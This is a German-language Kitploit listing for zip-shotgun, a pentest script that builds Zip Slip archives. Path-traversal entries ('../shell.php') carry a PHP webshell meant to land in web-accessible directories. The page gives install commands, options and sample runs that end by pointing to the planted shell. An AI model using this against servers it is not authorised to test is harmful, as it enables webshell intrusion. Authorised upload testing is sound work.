Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
zip-shotgun — Nützliches Skript zum Testen der Upload-Funktion von Zip-Dateien (und möglicher Extraktion von Zip-Dateien) auf Schwachstellen (aka Zip Slip) | Kitploit
Tools/GitHubGitHub/jpiechowka/zip-shotgun
Payload-GenerierungSchwachstellenanalyseWebanwendungs-ExploitationPenetrationstests
GitHubjpiechowka/zip-shotgun

zip-shotgun

Nützliches Skript zum Testen der Upload-Funktion von Zip-Dateien (und möglicher Extraktion von Zip-Dateien) auf Schwachstellen (aka Zip Slip)

Repository anzeigen
325vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ZIP Shotgun

Hilfsskript zum Testen von Zip-Datei-Upload-Funktionalität (und möglicher Extraktion von Zip-Dateien) auf Schwachstellen (auch bekannt als Zip Slip). Die Idee für dieses Skript stammt von diesem Beitrag auf Silent Signal Techblog – Compressed File Upload And Command Execution und von OWASP – Test Upload of Malicious Files

Snyk.io hat einen Bericht darüber, wie das funktioniert: Zip Slip-Schwachstelle und ein GitHub-Repository mit anfälligen Bibliotheken in verschiedenen Sprachen: Snyk.io Zip Slip GitHub-Repository

Es gibt auch ein großartiges Video von LiveOverflow, das etwas Licht auf die Schwachstellen Zip Slip und Zipperdown wirft: Kritische .zip-Schwachstellen? – Zip Slip und ZipperDown

Dieses Skript erstellt ein Archiv, das Dateien mit "../" im Dateinamen enthält. Beim Extrahieren könnte dies dazu führen, dass Dateien in übergeordnete Verzeichnisse extrahiert werden. Es kann einem Angreifer ermöglichen, Shells in Verzeichnisse zu extrahieren, die über einen Webbrowser zugänglich sind.

Die Standard-Webshell ist wwwolfs PHP-Webshell und die gesamte Anerkennung dafür gebührt WhiteWinterWolf. Die Quelle ist HIER verfügbar.

Installation

Installation mit Python pip (Python 3 erforderlich)

pip3 install zip-shotgun --upgrade

  • Git-Repository klonen und installieren

    git clone https://github.com/jpiechowka/zip-shotgun.git

    Führen Sie es aus dem Stammverzeichnis des geklonten Repositorys aus (wo sich die Datei setup.py befindet)

    pip3 install . --upgrade

  • Verwendung und Optionen

    root@kitploit:~
    Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
    
    Options:
      --version                       Show the version and exit.
      -c, --directories-count INTEGER
                                      Count of how many directories to go back
                                      inside the zip file (e.g 3 means that 3
                                      files will be added to the zip: shell.php,
                                      ../shell.php and ../../shell.php where
                                      shell.php is the name of the shell you
                                      provided or randomly generated value
                                      [default: 16]
      -n, --shell-name TEXT           Name of the shell inside the generated zip
                                      file (e.g shell). If not provided it will be
                                      randomly generated. Cannot have whitespaces
      -f, --shell-file-path PATH      A file that contains code for the shell. If
                                      this option is not provided wwwolf
                                      (https://github.com/WhiteWinterWolf/wwwolf-
                                      php-webshell) php shell will be added
                                      instead. If name is provided it will be
                                      added to the zip with the provided name or
                                      if not provided the name will be randomly
                                      generated.
      --compress                      Enable compression. If this flag is set
                                      archive will be compressed using DEFALTE
                                      algorithm with compression level of 9. By
                                      default there is no compression applied.
      -h, --help                      Show this message and exit.
    

    Beispiele

    1. Verwendung aller Standardoptionen

      zip-shotgun archive.zip

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
      12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
      ...
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
      
    2. Verwendung der Standardoptionen und Aktivierung der Komprimierung für die Archivdatei

      zip-shotgun --compress archive.zip

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
      12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
      ...
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
      
    3. Verwendung der Standardoptionen, aber Änderung der Anzahl der zurückzugehenden Verzeichnisse im Archiv auf 3

      zip-shotgun --directories-count 3 archive.zip

      zip-shotgun -c 3 archive.zip

      Das Skript schreibt insgesamt 3 Dateien in das Archiv

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
      12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
      
    4. Verwendung der Standardoptionen, aber Angabe des Shell-Namens im Archiv und Aktivierung der Komprimierung

      Der Shell-Name darf keine Leerzeichen enthalten.

      zip-shotgun --shell-name custom-name --compress archive.zip

      zip-shotgun -n custom-name --compress archive.zip

      Der Name für Shell-Dateien im Archiv wird auf den vom Benutzer angegebenen gesetzt.

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
      ...
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
      
    5. Bereitstellung einer benutzerdefinierten Shell-Datei, aber Verwendung eines zufälligen Namens im Archiv. Setzen Sie die Anzahl der Verzeichnisse auf 3

      zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

      zip-shotgun -c 3 -f ./custom-shell.php archive.zip

      Der Shell-Code wird aus der vom Benutzer bereitgestellten Datei extrahiert. Die Namen im Archiv werden zufällig generiert.

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
      
    6. Bereitstellung einer benutzerdefinierten Shell-Datei und Festlegen des zu speichernden Shell-Namens im Archiv. Setzen Sie die Anzahl der Verzeichnisse auf 3 und verwenden Sie Komprimierung

      zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

      zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

      Der Shell-Code wird aus der vom Benutzer bereitgestellten Datei extrahiert. Die Namen im Archiv werden auf den vom Benutzer angegebenen Namen gesetzt.

      Teil der Skriptausgabe

      root@kitploit:~
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
      
    Tool herunterladen